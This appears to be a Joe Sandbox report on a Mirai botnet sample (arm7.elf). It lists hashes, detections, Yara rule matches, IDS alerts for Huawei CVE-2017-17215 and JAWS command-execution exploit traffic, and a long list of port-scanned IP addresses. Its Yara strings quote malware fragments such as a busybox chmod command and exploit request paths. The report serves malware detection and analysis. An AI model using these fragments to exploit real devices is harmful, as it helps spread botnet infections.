Edit tour

Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1567807
MD5:	f750374f6f367da08c054ed08076448e
SHA1:	9a1e710abec662c9651247838b24d17ca084187f
SHA256:	9ce1332d12c9848dae72de7b7c38ddf170fc30d58015e376bd770c28462f9b7e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567807
Start date and time:	2024-12-03 21:46:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: arm7.elf

Runtime Messages

Command:	/tmp/arm7.elf
PID:	5509
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

arm7.elf (PID: 5509, Parent: 5436, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

arm7.elf New Fork (PID: 5511, Parent: 5509)

arm7.elf New Fork (PID: 5513, Parent: 5511)

arm7.elf New Fork (PID: 5515, Parent: 5511)

arm7.elf New Fork (PID: 5517, Parent: 5511)

arm7.elf New Fork (PID: 5520, Parent: 5511)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
arm7.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1533a:$x2: /bin/busybox chmod 777 * /tmp/ 0x15090:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x15018:$s3: POST /cdn-cgi/
arm7.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x15018:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5509.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5509.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5509.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5509.1.00007f0330017000.00007f033002e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1533a:$x2: /bin/busybox chmod 777 * /tmp/ 0x15090:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x15018:$s3: POST /cdn-cgi/
5509.1.00007f0330017000.00007f033002e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x15018:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5513.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5513.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5513.1.00007f0330017000.00007f033002e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5513.1.00007f0330017000.00007f033002e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1533a:$x2: /bin/busybox chmod 777 * /tmp/ 0x15090:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x15018:$s3: POST /cdn-cgi/
5513.1.00007f0330017000.00007f033002e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x15018:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: arm7.elf PID: 5509	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 5513	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:47:23.991269+0100	2030092	1	Web Application Attack	192.168.2.13	53646	39.25.202.96	80	TCP
2024-12-03T21:47:24.769622+0100	2030092	1	Web Application Attack	192.168.2.13	51386	219.115.34.124	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:47:23.991269+0100	2029034	1	Web Application Attack	192.168.2.13	53646	39.25.202.96	80	TCP
2024-12-03T21:47:24.769622+0100	2029034	1	Web Application Attack	192.168.2.13	51386	219.115.34.124	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:47:28.019310+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47568	156.227.147.148	37215	TCP
2024-12-03T21:47:32.395467+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52948	197.6.106.254	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm7.elf

ReversingLabs: Detection: 68%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53646 -> 39.25.202.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53646 -> 39.25.202.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51386 -> 219.115.34.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51386 -> 219.115.34.124:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47568 -> 156.227.147.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52948 -> 197.6.106.254:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.96.174.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.238.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.134.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.215.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.41.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.139.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.207.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.166.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.94.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.63.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.4.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.1.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.237.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.57.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.37.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.63.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.209.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.18.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.186.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.87.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.24.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.87.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.20.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.111.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.145.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.174.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.161.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.11.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.217.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.26.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.220.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.253.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.52.103.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.166.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.218.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.214.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.158.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.11.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.61.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.135.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.6.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.254.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.95.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.141.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.7.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.14.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.14.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.111.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.44.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.169.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.100.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.31.71.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.209.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.121.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.231.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.87.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.1.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.225.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.135.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.94.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.178.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.104.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.161.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.118.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.128.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.28.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.227.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.223.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.177.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.253.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.255.140.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.138.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.57.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.189.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.57.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.20.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.107.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.64.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.149.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.229.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.50.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.130.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.215.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.60.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.198.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.224.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.66.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.207.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.90.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.157.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.101.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.16.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.186.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.145.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.222.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.120.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.78.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.92.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.104.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.52.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.81.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.146.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.104.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.115.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.138.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.98.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.114.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.29.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.49.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.15.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.197.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.211.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.23.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.121.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.243.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.100.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.21.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.208.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.227.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.139.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.29.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.243.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.46.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.207.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.218.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.224.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.32.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.196.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.250.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.95.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.83.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.238.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.152.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.248.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.167.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.248.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.110.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.116.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.162.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.16.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.124.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.160.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.155.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.42.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.70.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.163.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.117.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.245.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.186.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.180.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.245.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.212.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.192.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.168.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.101.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.208.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.186.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.1.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.130.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.249.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.35.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.115.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.227.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.107.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.132.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.248.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.174.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.175.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.60.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.67.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.166.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.78.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.234.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.65.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.228.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.223.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.203.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.115.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.121.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.78.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.248.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.31.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.80.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.34.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.223.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.211.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.234.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.123.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.251.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.161.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.219.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.53.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.182.225.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.23.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.184.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.216.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.250.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.88.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.48.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.98.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.132.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.50.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.90.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.109.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.42.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.40.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.89.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.131.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.24.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.52.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.186.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.52.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.167.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.78.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.221.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.119.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.106.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.100.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.118.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.12.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.84.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.196.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.207.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.79.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.235.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.77.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.42.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.156.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.202.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.162.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.161.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.211.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.86.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.99.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.163.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.128.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.222.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.141.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.148.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.94.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.69.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.109.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.174.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.139.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.180.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.54.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.91.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.195.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.91.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.110.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.205.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.47.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.151.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.14.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.137.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.126.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.130.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.1.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.68.36 ports 1,2,3,5,7,37215
